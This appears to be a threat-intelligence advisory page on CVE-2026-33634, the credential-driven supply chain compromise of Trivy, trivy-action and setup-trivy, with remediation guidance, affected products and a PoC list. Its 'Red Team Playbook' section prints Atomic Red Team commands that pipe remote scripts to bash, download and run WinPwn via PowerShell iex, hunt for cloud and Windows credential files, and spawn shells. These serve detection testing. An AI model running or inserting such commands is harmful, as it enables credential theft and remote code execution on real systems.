CVE-2026-33634
Overview
This vulnerability is a supply chain compromise involving credential theft and unauthorized code injection. The root cause is improper credential management and non-atomic credential rotation, which allowed an attacker to use valid tokens to push malicious commits and replace version tags in GitHub repositories. The affected components include the aquasecurity Trivy binary (version 0.69.4), the trivy-action GitHub Action (versions 0.0.1 to 0.34.2), and the setup-trivy GitHub Action (versions 0.2.0 to 0.2.6).
Vulnerability Description
Trivy is a security scanner. On March 19, 2026, a threat actor used compromised credentials to publish a malicious Trivy v0.69.4 release, force-push 76 of 77 version tags in `aquasecurity/trivy-action` to credential-stealing malware, and replace all 7 tags in `aquasecurity/setup-trivy` with malicious commits. This incident is a continuation of the supply chain attack that began in late February 2026. Following the initial disclosure on March 1, credential rotation was performed but was not atomic (not all credentials were revoked simultaneously). The attacker could have use a valid token to exfiltrate newly rotated secrets during the rotation window (which lasted a few days). This could have allowed the attacker to retain access and execute the March 19 attack. Affected components include the `aquasecurity/trivy` Go / Container image version 0.69.4, the `aquasecurity/trivy-action` GitHub Action versions 0.0.1 – 0.34.2 (76/77), and the`aquasecurity/setup-trivy` GitHub Action versions 0.2.0 – 0.2.6, prior to the recreation of 0.2.6 with a safe commit. Known safe versions include versions 0.69.2 and 0.69.3 of the Trivy binary, version 0.35.0 of trivy-action, and version 0.2.6 of setup-trivy. Additionally, take other mitigations to ensure the safety of secrets. If there is any possibility that a compromised version ran in one's environment, all secrets accessible to affected pipelines must be treated as exposed and rotated immediately. Check whether one's organization pulled or executed Trivy v0.69.4 from any source. Remove any affected artifacts immediately. Review all workflows using `aquasecurity/trivy-action` or `aquasecurity/setup-trivy`. Those who referenced a version tag rather than a full commit SHA should check workflow run logs from March 19–20, 2026 for signs of compromise. Look for repositories named `tpcp-docs` in one's GitHub organization. The presence of such a repository may indicate that the fallback exfiltration mechanism was triggered and secrets were successfully stolen. Pin GitHub Actions to full, immutable commit SHA hashes, don't use mutable version tags.
Impact
An attacker with compromised credentials and valid tokens was able to inject malicious code into widely used GitHub Actions and container images, enabling credential theft and potential secret exfiltration. This attack requires prior access to repository credentials and the ability to push tags and commits. The attacker could access and steal secrets from affected CI/CD pipelines, leading to data breaches and lateral movement within organizations. The CVSS vector indicates network attack with low complexity, no user interaction, and high impact on confidentiality, integrity, and availability.
Solution
Users must immediately verify whether Trivy v0.69.4 or affected trivy-action and setup-trivy versions were pulled or executed. Remove all affected artifacts and rotate all secrets accessible to impacted pipelines. Upgrade to known safe versions: Trivy binary 0.69.2 or 0.69.3, trivy-action 0.35.0, and setup-trivy 0.2.6 with safe commits. Pin GitHub Actions to immutable full commit SHA hashes instead of mutable version tags. Refer to the official advisory at https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23 for detailed patch instructions and mitigation steps.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The recent incident involving the Trivy security scanner highlights a significant vulnerability within the software supply chain, particularly concerning the management of credentials and the integrity of version control systems. On March 19, 2026, a threat actor exploited compromised credentials to publish a malicious release of Trivy version 0.69.4. This release was not an isolated event but rather a continuation of a broader supply chain attack that had begun in late February 2026. The attacker managed to force-push 76 of 77 version tags in the `aquasecurity/trivy-action` repository to include credential-stealing malware, while also replacing all tags in the `aquasecurity/setup-trivy` repository with malicious commits. The vulnerability underscores the critical need for robust credential management and the importance of ensuring that version control practices are secure and resilient against unauthorized access.
The exploitation of this vulnerability can occur through various attack vectors. The initial compromise stemmed from a failure to perform atomic credential rotation, which left a window of opportunity for the attacker to exfiltrate newly rotated secrets. During this period, the attacker could utilize a valid token to access sensitive information, thereby facilitating the malicious release of Trivy v0.69.4. Organizations that had pulled or executed this compromised version may have inadvertently introduced malware into their environments, leading to potential data breaches and unauthorized access to sensitive systems. Furthermore, the presence of repositories named `tpcp-docs` within an organization’s GitHub account could indicate that the fallback exfiltration mechanism was triggered, revealing that secrets had been successfully stolen.
The real-world impact of this vulnerability is profound, particularly for organizations relying on the affected components for their CI/CD pipelines. The business risks associated with deploying compromised software are substantial, including data loss, reputational damage, and regulatory penalties. Organizations may face increased scrutiny from stakeholders and customers, particularly if sensitive data is exposed as a result of the attack. Additionally, the financial implications of remediation efforts, such as incident response, forensic analysis, and potential legal liabilities, can be significant. The incident serves as a stark reminder of the vulnerabilities inherent in software supply chains and the critical need for organizations to adopt a proactive approach to security.
To effectively detect and mitigate the risks associated with this vulnerability, organizations must implement a multi-faceted strategy. Immediate actions should include a thorough review of all workflows utilizing the affected GitHub Actions, ensuring that any references to version tags are replaced with immutable commit SHA hashes to prevent future exploitation. Organizations should also conduct an audit of their systems to determine whether the compromised version of Trivy was executed, and if so, treat all secrets accessible to affected pipelines as exposed and rotate them immediately. Monitoring for unusual activity in repositories, particularly those named `tpcp-docs`, can provide early indicators of compromise. Additionally, organizations should enhance their credential management practices by adopting atomic credential rotation and implementing stricter access controls to minimize the risk of unauthorized access.
In conclusion, the vulnerability associated with the malicious release of Trivy v0.69.4 serves as a critical case study in the importance of securing software supply chains. By understanding the technical details of the incident, recognizing the potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against similar threats in the future. The incident emphasizes the need for continuous vigilance and a proactive security posture in an increasingly complex digital landscape.
CSURFACE threat intelligence has identified a notable shift in the exploitation dynamics surrounding CVE-2026-33634. While our telemetry indicates a significant reduction in detection activity, the overall exploit landscape has concurrently expanded with the emergence of new proof-of-concept tools designed to leverage this supply chain compromise. This divergence suggests that threat actors are refining their operational tactics, potentially favoring stealthier or more targeted approaches rather than broad, noisy exploitation campaigns. The increase in the Exploit Prediction Scoring System (EPSS) by over 25% underscores a heightened likelihood of exploitation attempts despite the apparent drop in detection volume. For defenders, this evolving pattern signals a complex threat environment where traditional detection metrics may underrepresent actual adversary engagement. Consequently, the risk level remains elevated, as adversaries possess more sophisticated capabilities to exploit compromised Trivy releases, increasing the potential for widespread credential theft and downstream supply chain contamination.
Update 2 — July 05, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-33634, with telemetry indicating a doubling in detection events linked to malicious modifications of the Trivy setup-trivy repository. This surge reflects renewed adversary efforts to leverage compromised credentials for supply chain manipulation, suggesting that threat actors are intensifying attempts to propagate credential-stealing malware through CI/CD pipelines. The persistence and amplification of these tactics underscore the adversaries’ capability to maintain footholds despite prior credential rotations and remediation efforts. Notably, the stable EPSS score at a high percentile indicates sustained exploitation potential without immediate rapid growth, implying a steady-state threat environment with ongoing risk rather than a transient spike. For defenders, this development signals that the threat remains active and evolving, requiring continued vigilance and monitoring of Trivy-related components within software supply chains. The overall risk level remains elevated due to the increased likelihood of successful compromise and the broad impact potential across multiple environments reliant on the affected software.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Aquasec | Setup-Trivy | All |
cpe:2.3:a:aquasec:setup-trivy:*:*:*:*:*:*:*:*
|
|
|
Aquasec | Trivy | 0.69.4 |
cpe:2.3:a:aquasec:trivy:0.69.4:*:*:*:*:go:*:*
|
|
|
Aquasec | Trivy Action | All |
cpe:2.3:a:aquasec:trivy_action:*:*:*:*:*:*:*:*
|
|
|
Litellm | Litellm | 1.82.7 |
cpe:2.3:a:litellm:litellm:1.82.7:*:*:*:*:*:*:*
|
|
|
Litellm | Litellm | 1.82.8 |
cpe:2.3:a:litellm:litellm:1.82.8:*:*:*:*:*:*:*
|
|
|
Telnyx | Telnyx | 4.87.1 |
cpe:2.3:a:telnyx:telnyx:4.87.1:*:*:*:*:python:*:*
|
|
|
Telnyx | Telnyx | 4.87.2 |
cpe:2.3:a:telnyx:telnyx:4.87.2:*:*:*:*:python:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
PoC
|
- | 0 | 0 | - | View |
|
ugurrates/teampcp-supply-chain-attack
CVE-2026-33634 (CVSS 9.4) — The most impactful CI/CD supply chain attack of 2026 so far.
|
ugurrates | 0 | 0 | 2026-03-25 | View |
|
fevar54/CVE-2026-33634-Scanner
**Scanner automatizado para la detección de indicadores de compromiso (IOCs) asociados al ataque a la cadena de suminist...
|
fevar54 | 0 | 0 | 2026-03-30 | View |
|
AshleyT3/docker-socket-risk-demos
Companion source for YouTube video "Stop Mounting docker.sock — Run Trivy Without Giving Away Root Access — (inspired by...
|
AshleyT3 | 0 | 0 | 2026-03-31 | View |
Threat Feed
18 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (7)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-442 | Infected Software |
38%
|
Medium | High | |
| CAPEC-448 | Embed Virus into DLL |
35%
|
Medium | High | |
| CAPEC-636 | Hiding Malicious Data or Code within Files |
35%
|
— | High |
Red Team Playbook
45 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json"
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.